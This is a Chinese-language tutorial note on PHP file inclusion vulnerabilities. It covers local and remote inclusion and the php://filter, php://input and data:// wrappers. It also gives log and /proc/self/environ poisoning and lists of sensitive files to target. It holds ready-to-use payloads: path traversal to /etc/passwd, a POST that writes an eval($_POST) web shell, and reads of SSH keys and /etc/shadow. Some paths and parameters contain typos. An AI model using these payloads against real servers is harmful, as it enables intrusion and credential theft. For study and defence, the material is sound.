1. 定义

  程序在引用文件的时候,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。

 

2. 漏洞原理

  PHP中文件包含函数有以下四种:

  1. require()
  2. require_once()
  3. include()
  4. include_once()

    include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

    而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

    最简单的漏洞代码:​​<?php include($_GET[file]);?>​

    当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP的内核并不会在意被包含的文件是什么类型。即你可以上传一个含shell的txt或jpg文件,包含它会被当作PHP代码执行(图马)。

 

3. 漏洞类型

  a. 本地包含漏洞:即被包含的文件在服务器本地

    payload举例:

      ​​http://www.webtester.com/include/file01.php?file=../../../../etc/passwd  ​​这样就可以查看到服务器内某个文件的内容(但还是以php文件执行)

    一般情况下会结合文件上传漏洞使用

    如果读取的内容是php文件,由于是后端代码会执行,所以想要查看里面具体的内容就得需要借助伪协议

  

  b. 远程文件包含:即被包含的文件在第三方服务器中

    使用条件: 

      allow_url_fopen=On

      allow_url_include=On

    利用: ?flie=http://127.0.0.1/x.txt 里面可以包含攻击代码

 

4. 伪协议类型(需要开启allow_url_include=On)

  a. php://filter

    协议解释: php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,​​不需要​​开启allow_url_include;

    用法: ?file=php://filter/[read=]convert.base64-encode/resource=xxx.php  这里也可以指定用其他的编码方式

  

  b. php://input

    协议解释: input将数据POST过去,即php://input是用来接收post数据的

    利用条件:

      php < 5.0 ,allow_url_include=Off 情况下也可以用

      php > 5.0,只有在allow_url_fopen=On 时才能使用

    用法: ?file=php://input,接着用hackerbar,post攻击代码(   可以写入shell(需要权限),比如:<?php   fputs(fopen('shell.php',"a"),'<?php @eval($_POST["666"]) ?>')   ?>   )

 

  c. data://

    协议解释: 数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的

    利用条件:

      php > 5.2

      allow_url_fopen=On

    用法: 

      ?file=data://text/plain,<?php phpinfo ?>

      ?file=data://text/plain;base64,base64编码的payload

      注意: 如果编码后出现+,需要添加空格改变编码内容,因为浏览器不认识+,其次,不写后面的?> 因为PHP里面其实不需要写后面的?>。前面的;就已经说明结束了。如果没有;就必须写?>作为结束。

 

 

 

  f. 包含日志文件

    一般的日志文件路径(需要目前的网站具有管理员权限):

      /usr/local/apache2/logs/access_log

      /logs/access_log

      /etc/httpd/logs/access_log

      /var/log/httpd/access_log

    用法: 抓包更改包中的一些属性,将内容换成php攻击代码,然后文件包含日志

 

  g. /proc/self/environ(需要目前的网站文件具有管理员权限)

    漏洞原理:在Linux系统中,当前进程的环境变量可以被读取,通过/proc/self/environ。(如果apache2 在运行的情况下)其中一个环境变量集(我也不知道是不是翻译成这个)就是user_agent头,它可以通过http请求被控制(修改),如果/proc/self/environ文件可以通过本地文件包含读取到,那么通过请求该文件和将payload写入http中的user-agent头,远程代码漏洞就可以被执行。如果User-Agent被过滤,那么也可以尝试Accept-Encoding(渣翻译,原文章的解释来自于https://www.sec-art.net/2019/01/exploiting-local-file-inclusion-lfi.html?m=1)

    用法(HTTP包中):

      GET /include/xxx.php?file=proc/self/environ

      User-Agent: <?php @eval($_POST['cmd']);phpinfo(); ?>

 

5. 一些常见的配置文件目录

  a. 网站配置文件

    dedecms数据库配置文件data/common.inc.php,

    discuz全局配置文件config/config_global.php,

    phpcms配置文件caches/configs/database.php

    phpwind配置文件conf/database.php

    wordpress配置文件wp-config.php

 

  b. 系统配置文件  

    Windows:

      C:/boot.ini  //查看系统版本

      C:/Windows/System32/inetsrv/MetaBase.xml  //IIS配置文件

      C:/Windows/repairsam  //存储系统初次安装的密码

      C:/Program Files/mysql/my.ini  //Mysql配置

      C:/Program Files/mysql/data/mysql/user.MYD  //Mysql root

      C:/Windows/php.ini  //php配置信息

      C:/Windows/my.ini  //Mysql配置信息

 

    linux:

      /root/.ssh/authorized_keys

      /root/.ssh/id_rsa

      /root/.ssh/id_ras.keystore

      /root/.ssh/known_hosts

      /etc/passwd

      /etc/shadow

      /etc/my.cnf

      /etc/httpd/conf/httpd.conf

      /root/.bash_history

      /root/.mysql_history

      /proc/self/fd/fd[0-9]*(文件标识符)

      /proc/mounts

      /porc/config.gz

 

 <待补充>